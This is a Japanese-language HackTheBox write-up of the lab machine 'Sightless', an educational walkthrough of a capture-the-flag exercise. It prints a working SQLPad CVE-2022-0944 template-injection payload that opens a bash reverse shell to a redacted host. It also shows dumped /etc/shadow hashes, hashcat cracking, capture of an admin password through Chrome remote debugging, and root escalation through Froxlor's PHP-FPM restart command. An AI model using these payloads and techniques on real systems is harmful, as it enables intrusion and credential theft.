はじめに
本記事はHackTheBoxのWriteupです。
Machineは、Sightlessです。
Sightlessでは、SQLPadの脆弱性やChrome Remote Debuggerについて学びます。
スキャニング
はじめにポートスキャンを実行します。
以下では事前に用意したシェルを介してポートスキャンを実行しています。
##################
# Port scan tool #
##################
*Detailed scan :1
*Full scan :2
***Select scanning method by number***
1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-16 22:57 JST
Nmap scan report for sightless.htb (10.10.11.32)
Host is up (0.27s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp
| fingerprint-strings:
| GenericLines:
| 220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.11.32]
| Invalid command: try being more creative
|_ Invalid command: try being more creative
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c9:6e:3b:8f:c6:03:29:05:e5:a0:ca:00:90:c9:5c:52 (ECDSA)
|_ 256 9b:de:3a:27:77:3b:1b:e1:19:5f:16:11:be:70:e0:56 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Sightless.htb
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.94SVN%I=7%D=9/16%Time=66E8394C%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,A0,"220\x20ProFTPD\x20Server\x20\(sightless\.htb\x20FTP\x20
SF:Server\)\x20\[::ffff:10\.10\.11\.32\]\r\n500\x20Invalid\x20command:\x20
SF:try\x20being\x20more\x20creative\r\n500\x20Invalid\x20command:\x20try\x
SF:20being\x20more\x20creative\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 73.14 seconds
Scan completed
上記ポートスキャンの結果を基に調査を行います。
列挙
ポートスキャンの結果を踏まえて、hostsファイルを編集後sightless.htbにアクセスすると、以下の様な画面が表示されます。
ページを確認すると、総合的なデータベースおよびサーバー管理ソリューションを提供するサイトのようです。
サブドメイン
トップページからリンクされているページにアクセスすると、SQLPadの画面が表示されます。
SQLPadは、SQLクエリを記述して実行し、結果を視覚化するためのWebアプリです。
その他gobusterも実施しましたが、特に気になるコンテンツは見当たらなかったため、SQLPadの画面を調査します。
脆弱性分析
足場を作るために利用可能な脆弱性を探します。
SQLPadの脆弱性について調査したところ、CVE-2022-0944が見つかりました。
システムハッキング
CVE-2022-0944の脆弱性を利用して足場を作ります。
アクセスの獲得
事前にリスナーを用意した状態で、以下の手順を実行します。
はじめにSQLPadの画面左上のボックスから「...New connection」を選択します。
「Connection name」に任意の名前を入力後「Driver」はMySQLを選択します。
「Database」にリバースシェルを取得するためのペイロードを入力して「Save」を押します。
- Databaseの入力例
{{ process.mainModule.require('child_process').exec("/bin/bash -c 'bash -i >& /dev/tcp/<REDACTED>/4444 0>&1'") }}
ペイロードが実行されることによって、リバースシェルが取得できます。
listening on [any] 4444 ...
connect to [REDACTED] from (UNKNOWN) [10.10.11.32] 58816
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad#
リバースシェル取得後はシェルが不安定な状態になっていますが、このまま調査します。
ユーザーフラグ
最初からルートユーザーであることや/
ディレクトリにあるdocker-entrypoint
ファイルの存在などから、このホストはdockerコンテナであることが推定できます。
total 196
drwxr-xr-x 2 root root 4096 Aug 9 11:17 cache
drwxr-xr-x 10 root root 4096 Sep 16 14:28 results
drwxr-xr-x 2 root root 4096 Aug 9 11:17 sessions
-rw-r--r-- 1 root root 188416 Sep 16 14:28 sqlpad.sqlite
カレントディレクトリ直下に存在するsqlpad.sqlite
ファイルを転送して、sqlliteで確認したところ、ユーザーテーブルの情報が確認できました。
sqlite> select * from users;
id email role name passhash password_reset_id data signup_at created_at updated_at disabled sync_auth_role ldap_id
------------------------------------ ------------------- ------ ---- ------------------------------------------------------------ ------------------------------------ ---- --------- ------------------------------ ------------------------------ -------- -------------- -------
da9a25f7-588c-40f5-89db-58fbebab591f admin@sightless.htb admin $2a$10$cjbITibC.4BQQKJ8NOBUv.p0bG2n8t.RIIKRysR6pZnxquAWsLFcC 2024-05-15 04:48:09.377 +00:00 2024-05-15 18:16:54.652 +00:00 0
26113beb-60eb-4a58-81eb-2318e27eb3bf john@sightless.htb editor 2d3499e3-16ba-4b4b-a49e-c7c5dca89f2d 2024-05-15 12:29:23.725 +00:00 2024-05-15 12:29:27.257 +00:00 0
上記結果を踏まえて、adminユーザーのハッシュ値から解析したパスワードを用いてFTPやSSHによるログイン試行を行いますが、ログインできません。
ウサギの穴に落ちたと思われるため、他の箇所を調べたところ、/etc/shadow
ファイルにたどり着きました。
$ cat /etc/shadow
root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:19858:0:99999:7:::
daemon:*:19051:0:99999:7:::
bin:*:19051:0:99999:7:::
sys:*:19051:0:99999:7:::
sync:*:19051:0:99999:7:::
games:*:19051:0:99999:7:::
man:*:19051:0:99999:7:::
lp:*:19051:0:99999:7:::
mail:*:19051:0:99999:7:::
news:*:19051:0:99999:7:::
uucp:*:19051:0:99999:7:::
proxy:*:19051:0:99999:7:::
www-data:*:19051:0:99999:7:::
backup:*:19051:0:99999:7:::
list:*:19051:0:99999:7:::
irc:*:19051:0:99999:7:::
gnats:*:19051:0:99999:7:::
nobody:*:19051:0:99999:7:::
_apt:*:19051:0:99999:7:::
node:!:19053:0:99999:7:::
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::
michaelユーザーのハッシュ値を解析し、パスワードを取得します。
$ hashcat -m 1800 hash /usr/share/wordlists/rockyou.txt
michaelユーザーの取得したパスワードを用いてSSHでログインします。
$ ssh michael@10.10.11.32
SSHログイン後、ユーザーフラグが取得できます。
ルートフラグ
権限昇格を狙うにあたり引き続き列挙を行います。
列挙を行った結果、未確認のサブドメインであるadmin.sightless.htb
を発見しました。
<VirtualHost 127.0.0.1:8080>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html/froxlor
ServerName admin.sightless.htb
ServerAlias admin.sightless.htb
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
ss
コマンドで確認すると、8080番ポートはローカルホストからしかアクセスできないことが分かります。
LISTEN 0 511 127.0.0.1:8080 0.0.0.0:*
ローカルポートフォワーディングを介して8080番ポートにアクセスすると、Froxlorの画面が確認できます。
$ ssh -L 8080:127.0.0.1:8080 michael@10.10.11.32
ログインするためには資格情報が必要です。プロセスの情報からcronでシェルを起動して、シェルからPythonを介してChromeを起動していると思われます。
また、--remote-debugging-port=0
オプションを付与していることから、ヘッドレスモードで動作していることが分かります。従ってChrome Remote Debuggerを利用することで、認証情報の取得を試みます。
事前にChromeを起動していると思われるポートに対して、ローカルポートフォワーディングを行い、chromeブラウザからchrome://inspect/#devices
にアクセスします。
「Configure」を押して、Chromeを起動していると思われるポートを追加します。
ポートを追加後、以下の様なRemote Targetに関する情報が表示されたら「inspect」を押してログイン画面を検査します。
しばらくすると、adminユーザーのログインが確認できます。
index.php
に対するPOSTのPayloadタブからキャプチャしたパスワードが確認できます。
取得した資格情報を用いてログインします。
ナビゲーションメニューの「PHP-FPM versions」を選択して「Create new PHP version」を押します。
「PHP-FPM restart command」を編集して、任意のコマンドを入力します。
php-fpmが再起動されることで、コマンドが実行されます。php-fpmを利用することで、権限昇格を行うことができます。
おわりに
ルートフラグは難しいチャレンジでした。